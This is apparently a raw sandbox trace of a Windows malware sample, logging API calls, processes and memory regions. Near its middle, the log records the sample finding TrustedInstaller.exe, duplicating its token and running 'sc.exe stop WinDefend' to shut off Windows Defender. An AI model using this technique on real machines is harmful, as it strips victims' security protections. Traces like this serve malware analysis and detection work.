[0240.806] _wcsicmp (_String1="csrss.exe", _String2="TrustedInstaller.exe") returned -17 [0240.806] _wcsicmp (_String1="C:\\Windows\\System32\\wininit.exe", _String2="TrustedInstaller.exe") returned -17 [0240.806] _wcsicmp (_String1="wininit.exe", _String2="TrustedInstaller.exe") returned 3 [0240.806] _wcsicmp (_String1="C:\\Windows\\System32\\csrss.exe", _String2="TrustedInstaller.exe") returned -17 [0240.806] _wcsicmp (_String1="csrss.exe", _String2="TrustedInstaller.exe") returned -17 [0240.806] _wcsicmp (_String1="C:\\Windows\\System32\\winlogon.exe", _String2="TrustedInstaller.exe") returned -17 [0240.806] _wcsicmp (_String1="winlogon.exe", _String2="TrustedInstaller.exe") returned 3 [0240.806] _wcsicmp (_String1="C:\\Windows\\System32\\services.exe", _String2="TrustedInstaller.exe") returned -17 [0240.806] _wcsicmp (_String1="services.exe", _String2="TrustedInstaller.exe") returned -1 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\lsass.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="lsass.exe", _String2="TrustedInstaller.exe") returned -8 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\lsm.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="lsm.exe", _String2="TrustedInstaller.exe") returned -8 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\dwm.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="dwm.exe", _String2="TrustedInstaller.exe") returned -16 [0240.807] _wcsicmp (_String1="C:\\Windows\\explorer.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="explorer.exe", _String2="TrustedInstaller.exe") returned -15 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\spoolsv.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="spoolsv.exe", _String2="TrustedInstaller.exe") returned -1 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\taskhost.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="taskhost.exe", _String2="TrustedInstaller.exe") returned -17 [0240.807] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0240.808] _wcsicmp (_String1="C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="OfficeClickToRun.exe", _String2="TrustedInstaller.exe") returned -5 [0240.808] _wcsicmp (_String1="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="WmiPrvSE.exe", _String2="TrustedInstaller.exe") returned 3 [0240.808] _wcsicmp (_String1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="iexplore.exe", _String2="TrustedInstaller.exe") returned -11 [0240.808] _wcsicmp (_String1="C:\\Windows\\System32\\svchost.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="svchost.exe", _String2="TrustedInstaller.exe") returned -1 [0240.808] _wcsicmp (_String1="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="iexplore.exe", _String2="TrustedInstaller.exe") returned -11 [0240.808] _wcsicmp (_String1="C:\\Windows\\System32\\sppsvc.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="sppsvc.exe", _String2="TrustedInstaller.exe") returned -1 [0240.808] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Defender\\linegood.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="linegood.exe", _String2="TrustedInstaller.exe") returned -8 [0240.808] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="no_nothing.exe", _String2="TrustedInstaller.exe") returned -6 [0240.808] _wcsicmp (_String1="C:\\Program Files\\DVD Maker\\form remember evening.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="form remember evening.exe", _String2="TrustedInstaller.exe") returned -14 [0240.808] _wcsicmp (_String1="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="study-reality-mission.exe", _String2="TrustedInstaller.exe") returned -1 [0240.808] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="field.exe", _String2="TrustedInstaller.exe") returned -14 [0240.808] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="apply-wear-benefit.exe", _String2="TrustedInstaller.exe") returned -19 [0240.808] _wcsicmp (_String1="C:\\Program Files\\Common Files\\law-stay.exe", _String2="TrustedInstaller.exe") returned -17 [0240.808] _wcsicmp (_String1="law-stay.exe", _String2="TrustedInstaller.exe") returned -8 [0240.809] _wcsicmp (_String1="C:\\Program Files\\Windows Media Player\\wife_heat.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="wife_heat.exe", _String2="TrustedInstaller.exe") returned 3 [0240.809] _wcsicmp (_String1="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="interview nothing work.exe", _String2="TrustedInstaller.exe") returned -11 [0240.809] _wcsicmp (_String1="C:\\Program Files\\Windows Journal\\your hit sense.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="your hit sense.exe", _String2="TrustedInstaller.exe") returned 5 [0240.809] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="leftparticularly.exe", _String2="TrustedInstaller.exe") returned -8 [0240.809] _wcsicmp (_String1="C:\\Program Files\\Windows Mail\\must-issue.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="must-issue.exe", _String2="TrustedInstaller.exe") returned -7 [0240.809] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="call_order_arrive.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="natural_reach_decide.exe", _String2="TrustedInstaller.exe") returned -6 [0240.809] _wcsicmp (_String1="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="another great.exe", _String2="TrustedInstaller.exe") returned -19 [0240.809] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="bill order.exe", _String2="TrustedInstaller.exe") returned -18 [0240.809] _wcsicmp (_String1="C:\\Program Files\\Reference Assemblies\\large price.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="large price.exe", _String2="TrustedInstaller.exe") returned -8 [0240.809] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="senior.exe", _String2="TrustedInstaller.exe") returned -1 [0240.809] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="barca.exe", _String2="TrustedInstaller.exe") returned -18 [0240.809] _wcsicmp (_String1="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe", _String2="TrustedInstaller.exe") returned -17 [0240.809] _wcsicmp (_String1="bitkinex.exe", _String2="TrustedInstaller.exe") returned -18 [0240.810] _wcsicmp (_String1="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="coreftp.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="C:\\Program Files\\Windows Photo Viewer\\far.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="far.exe", _String2="TrustedInstaller.exe") returned -14 [0240.810] _wcsicmp (_String1="C:\\Program Files\\Windows NT\\filezilla.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="filezilla.exe", _String2="TrustedInstaller.exe") returned -14 [0240.810] _wcsicmp (_String1="C:\\Program Files\\Common Files\\flashfxp.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="flashfxp.exe", _String2="TrustedInstaller.exe") returned -14 [0240.810] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows NT\\fling.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="fling.exe", _String2="TrustedInstaller.exe") returned -14 [0240.810] _wcsicmp (_String1="C:\\Program Files\\Windows NT\\foxmailincmail.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="foxmailincmail.exe", _String2="TrustedInstaller.exe") returned -14 [0240.810] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft OneDrive\\gmailnotifierpro.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="gmailnotifierpro.exe", _String2="TrustedInstaller.exe") returned -13 [0240.810] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft.NET\\icq.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="icq.exe", _String2="TrustedInstaller.exe") returned -11 [0240.810] _wcsicmp (_String1="C:\\Program Files\\Windows Journal\\leechftp.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="leechftp.exe", _String2="TrustedInstaller.exe") returned -8 [0240.810] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Mail\\ncftp.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="ncftp.exe", _String2="TrustedInstaller.exe") returned -6 [0240.810] _wcsicmp (_String1="C:\\Program Files\\Common Files\\notepad.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="notepad.exe", _String2="TrustedInstaller.exe") returned -6 [0240.810] _wcsicmp (_String1="C:\\Program Files\\Windows NT\\operamail.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="operamail.exe", _String2="TrustedInstaller.exe") returned -5 [0240.810] _wcsicmp (_String1="C:\\Program Files (x86)\\Reference Assemblies\\outlook.exe", _String2="TrustedInstaller.exe") returned -17 [0240.810] _wcsicmp (_String1="outlook.exe", _String2="TrustedInstaller.exe") returned -5 [0240.811] _wcsicmp (_String1="C:\\Program Files (x86)\\Uninstall Information\\pidgin.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="pidgin.exe", _String2="TrustedInstaller.exe") returned -4 [0240.811] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Mail\\scriptftp.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="scriptftp.exe", _String2="TrustedInstaller.exe") returned -1 [0240.811] _wcsicmp (_String1="C:\\Program Files (x86)\\Reference Assemblies\\skype.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="skype.exe", _String2="TrustedInstaller.exe") returned -1 [0240.811] _wcsicmp (_String1="C:\\Program Files (x86)\\WindowsPowerShell\\smartftp.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="smartftp.exe", _String2="TrustedInstaller.exe") returned -1 [0240.811] _wcsicmp (_String1="C:\\Program Files (x86)\\Common Files\\thunderbird.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="thunderbird.exe", _String2="TrustedInstaller.exe") returned -10 [0240.811] _wcsicmp (_String1="C:\\Program Files (x86)\\Common Files\\trillian.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="trillian.exe", _String2="TrustedInstaller.exe") returned -12 [0240.811] _wcsicmp (_String1="C:\\Program Files\\Windows Portable Devices\\webdrive.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="webdrive.exe", _String2="TrustedInstaller.exe") returned 3 [0240.811] _wcsicmp (_String1="C:\\Program Files\\Windows Journal\\whatsapp.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="whatsapp.exe", _String2="TrustedInstaller.exe") returned 3 [0240.811] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Media Player\\winscp.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="winscp.exe", _String2="TrustedInstaller.exe") returned 3 [0240.811] _wcsicmp (_String1="C:\\Program Files (x86)\\Common Files\\yahoomessenger.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="yahoomessenger.exe", _String2="TrustedInstaller.exe") returned 5 [0240.811] _wcsicmp (_String1="C:\\Program Files\\Internet Explorer\\active-charge.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="active-charge.exe", _String2="TrustedInstaller.exe") returned -19 [0240.811] _wcsicmp (_String1="C:\\Program Files (x86)\\Uninstall Information\\accupos.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="accupos.exe", _String2="TrustedInstaller.exe") returned -19 [0240.811] _wcsicmp (_String1="C:\\Program Files\\DVD Maker\\afr38.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="afr38.exe", _String2="TrustedInstaller.exe") returned -19 [0240.811] _wcsicmp (_String1="C:\\Program Files (x86)\\MSBuild\\aldelo.exe", _String2="TrustedInstaller.exe") returned -17 [0240.811] _wcsicmp (_String1="aldelo.exe", _String2="TrustedInstaller.exe") returned -19 [0240.811] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Mail\\ccv_server.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="ccv_server.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="C:\\Program Files (x86)\\MSBuild\\centralcreditcard.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="centralcreditcard.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft.NET\\creditservice.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="creditservice.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="C:\\Program Files\\DVD Maker\\edcsvr.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="edcsvr.exe", _String2="TrustedInstaller.exe") returned -15 [0240.812] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft.NET\\fpos.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="fpos.exe", _String2="TrustedInstaller.exe") returned -14 [0240.812] _wcsicmp (_String1="C:\\Program Files\\Windows Sidebar\\isspos.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="isspos.exe", _String2="TrustedInstaller.exe") returned -11 [0240.812] _wcsicmp (_String1="C:\\Program Files\\MSBuild\\mxslipstream.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="mxslipstream.exe", _String2="TrustedInstaller.exe") returned -7 [0240.812] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft OneDrive\\omnipos.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="omnipos.exe", _String2="TrustedInstaller.exe") returned -5 [0240.812] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft.NET\\spcwin.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="spcwin.exe", _String2="TrustedInstaller.exe") returned -1 [0240.812] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Photo Viewer\\spgagentservice.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="spgagentservice.exe", _String2="TrustedInstaller.exe") returned -1 [0240.812] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows NT\\utg2.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="utg2.exe", _String2="TrustedInstaller.exe") returned 1 [0240.812] _wcsicmp (_String1="C:\\Program Files\\DVD Maker\\heremanager.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="heremanager.exe", _String2="TrustedInstaller.exe") returned -12 [0240.812] _wcsicmp (_String1="C:\\Program Files\\Windows NT\\second.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="second.exe", _String2="TrustedInstaller.exe") returned -1 [0240.812] _wcsicmp (_String1="C:\\Program Files\\MSBuild\\sign.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="sign.exe", _String2="TrustedInstaller.exe") returned -1 [0240.812] _wcsicmp (_String1="C:\\Program Files (x86)\\Internet Explorer\\than near.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="than near.exe", _String2="TrustedInstaller.exe") returned -10 [0240.812] _wcsicmp (_String1="C:\\Program Files (x86)\\Windows Photo Viewer\\history-oh.exe", _String2="TrustedInstaller.exe") returned -17 [0240.812] _wcsicmp (_String1="history-oh.exe", _String2="TrustedInstaller.exe") returned -12 [0240.812] _wcsicmp (_String1="C:\\Program Files (x86)\\Microsoft OneDrive\\3dftp.exe", _String2="TrustedInstaller.exe") returned -17 [0240.813] _wcsicmp (_String1="3dftp.exe", _String2="TrustedInstaller.exe") returned -65 [0240.813] _wcsicmp (_String1="C:\\Program Files\\Microsoft Office 15\\absolutetelnet.exe", _String2="TrustedInstaller.exe") returned -17 [0240.813] _wcsicmp (_String1="absolutetelnet.exe", _String2="TrustedInstaller.exe") returned -19 [0240.813] _wcsicmp (_String1="C:\\Program Files\\WindowsPowerShell\\alftp.exe", _String2="TrustedInstaller.exe") returned -17 [0240.813] _wcsicmp (_String1="alftp.exe", _String2="TrustedInstaller.exe") returned -19 [0240.813] _wcsicmp (_String1="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", _String2="TrustedInstaller.exe") returned -17 [0240.813] _wcsicmp (_String1="WmiPrvSE.exe", _String2="TrustedInstaller.exe") returned 3 [0240.813] _wcsicmp (_String1="C:\\Windows\\System32\\audiodg.exe", _String2="TrustedInstaller.exe") returned -17 [0240.813] _wcsicmp (_String1="audiodg.exe", _String2="TrustedInstaller.exe") returned -19 [0240.813] _wcsicmp (_String1="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", _String2="TrustedInstaller.exe") returned -17 [0240.813] _wcsicmp (_String1="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", _String2="TrustedInstaller.exe") returned -15 [0240.813] _wcsicmp (_String1="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe", _String2="TrustedInstaller.exe") returned -17 [0240.813] _wcsicmp (_String1="AdvancedRun.exe", _String2="TrustedInstaller.exe") returned -19 [0240.813] _wcsicmp (_String1="C:\\Windows\\servicing\\TrustedInstaller.exe", _String2="TrustedInstaller.exe") returned -17 [0240.813] _wcsicmp (_String1="TrustedInstaller.exe", _String2="TrustedInstaller.exe") returned 0 [0240.813] OpenProcess (dwDesiredAccess=0x2000000, bInheritHandle=0, dwProcessId=0xd7c) returned 0x104 [0240.813] OpenProcessToken (in: ProcessHandle=0x104, DesiredAccess=0x2, TokenHandle=0x1795d8 | out: TokenHandle=0x1795d8*=0xfc) returned 1 [0240.813] DuplicateTokenEx (in: hExistingToken=0xfc, dwDesiredAccess=0x2000000, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x1795c8 | out: phNewToken=0x1795c8*=0x100) returned 1 [0240.813] CloseHandle (hObject=0xfc) returned 1 [0240.813] CloseHandle (hObject=0x104) returned 1 [0240.813] FreeLibrary (hLibModule=0x75800000) returned 1 [0240.814] free (_Block=0x1eba760) [0240.814] CreateProcessWithTokenW (in: hToken=0x100, dwLogonFlags=0x0, lpApplicationName="C:\\Windows\\System32\\sc.exe", lpCommandLine="\"C:\\Windows\\System32\\sc.exe\" stop WinDefend", dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\System32", lpStartupInfo=0x18e128*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18e1b0 | out: lpCommandLine="\"C:\\Windows\\System32\\sc.exe\" stop WinDefend", lpProcessInformation=0x18e1b0*(hProcess=0x10c, hThread=0x110, dwProcessId=0xdf8, dwThreadId=0xd94)) returned 1 [0244.048] CloseHandle (hObject=0x100) returned 1 [0244.048] RevertToSelf () returned 1 [0244.048] FreeLibrary (hLibModule=0x75ca0000) returned 1 [0244.049] free (_Block=0x5129d0) [0244.049] free (_Block=0x513f18) [0244.049] free (_Block=0x513e90) [0244.049] free (_Block=0x0) [0244.049] free (_Block=0x0) [0244.049] exit (_Code=0) [0244.049] free (_Block=0x514320) Thread: id = 214 os_tid = 0xdc0 Process: id = "10" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_daemon" parent_id = "9" os_parent_pid = "0xffffffffffffffff" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 215 os_tid = 0xe84 Thread: id = 216 os_tid = 0x8e0 Thread: id = 217 os_tid = 0x8d0 Thread: id = 218 os_tid = 0x18 Thread: id = 219 os_tid = 0x418 Thread: id = 220 os_tid = 0x10 Thread: id = 221 os_tid = 0x14 Thread: id = 222 os_tid = 0x488 Thread: id = 223 os_tid = 0xa4 Thread: id = 224 os_tid = 0x7c Thread: id = 225 os_tid = 0x50 Thread: id = 226 os_tid = 0x664 Thread: id = 227 os_tid = 0x7fc Thread: id = 228 os_tid = 0x37c Thread: id = 229 os_tid = 0x60 Thread: id = 230 os_tid = 0x580 Thread: id = 231 os_tid = 0xc0 Thread: id = 232 os_tid = 0x508 Thread: id = 233 os_tid = 0x0 Thread: id = 234 os_tid = 0x484 Thread: id = 235 os_tid = 0xfc Thread: id = 236 os_tid = 0x1c Thread: id = 237 os_tid = 0x24 Thread: id = 238 os_tid = 0x718 Thread: id = 239 os_tid = 0x708 Thread: id = 240 os_tid = 0x704 Thread: id = 241 os_tid = 0x6fc Thread: id = 242 os_tid = 0x6f0 Thread: id = 243 os_tid = 0x6cc Thread: id = 244 os_tid = 0x600 Thread: id = 245 os_tid = 0x664 Thread: id = 246 os_tid = 0x5ac Thread: id = 247 os_tid = 0x5a0 Thread: id = 248 os_tid = 0x550 Thread: id = 249 os_tid = 0x84 Thread: id = 250 os_tid = 0x98 Thread: id = 251 os_tid = 0x480 Thread: id = 252 os_tid = 0xbc Thread: id = 253 os_tid = 0x13c Thread: id = 254 os_tid = 0x80 Thread: id = 255 os_tid = 0x3c8 Thread: id = 256 os_tid = 0x4c Thread: id = 257 os_tid = 0x374 Thread: id = 258 os_tid = 0xd4 Thread: id = 259 os_tid = 0xd8 Thread: id = 260 os_tid = 0x20 Thread: id = 261 os_tid = 0x68 Thread: id = 262 os_tid = 0x280 Thread: id = 263 os_tid = 0x3c Thread: id = 264 os_tid = 0x74 Thread: id = 265 os_tid = 0x120 Thread: id = 266 os_tid = 0x104 Thread: id = 267 os_tid = 0x5c Thread: id = 268 os_tid = 0xa0 Thread: id = 269 os_tid = 0x8c Thread: id = 270 os_tid = 0x9c Thread: id = 271 os_tid = 0x90 Thread: id = 272 os_tid = 0x88 Thread: id = 273 os_tid = 0x190 Thread: id = 274 os_tid = 0xb4 Thread: id = 275 os_tid = 0x154 Thread: id = 276 os_tid = 0x12c Thread: id = 277 os_tid = 0x94 Thread: id = 278 os_tid = 0x134 Thread: id = 279 os_tid = 0x44 Thread: id = 280 os_tid = 0x124 Thread: id = 281 os_tid = 0xc8 Thread: id = 282 os_tid = 0x11c Thread: id = 283 os_tid = 0x2c Thread: id = 284 os_tid = 0x28 Thread: id = 285 os_tid = 0x40 Thread: id = 286 os_tid = 0x30 Thread: id = 287 os_tid = 0x34 Thread: id = 288 os_tid = 0x48 Thread: id = 289 os_tid = 0x64 Thread: id = 290 os_tid = 0x38 Thread: id = 291 os_tid = 0xc4 Thread: id = 292 os_tid = 0x8 Process: id = "11" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0x783c2000" os_pid = "0x1d0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_daemon" parent_id = "9" os_parent_pid = "0x170" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 3505 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3506 start_va = 0x20000 end_va = 0x24fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "services.exe.mui" filename = "\\Windows\\System32\\en-US\\services.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\services.exe.mui") Region: id = 3507 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3508 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3509 start_va = 0xd0000 end_va = 0x136fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3510 start_va = 0x140000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 3511 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3512 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3513 start_va = 0x230000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3514 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 3515 start_va = 0x430000 end_va = 0x430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3516 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 3517 start_va = 0x470000 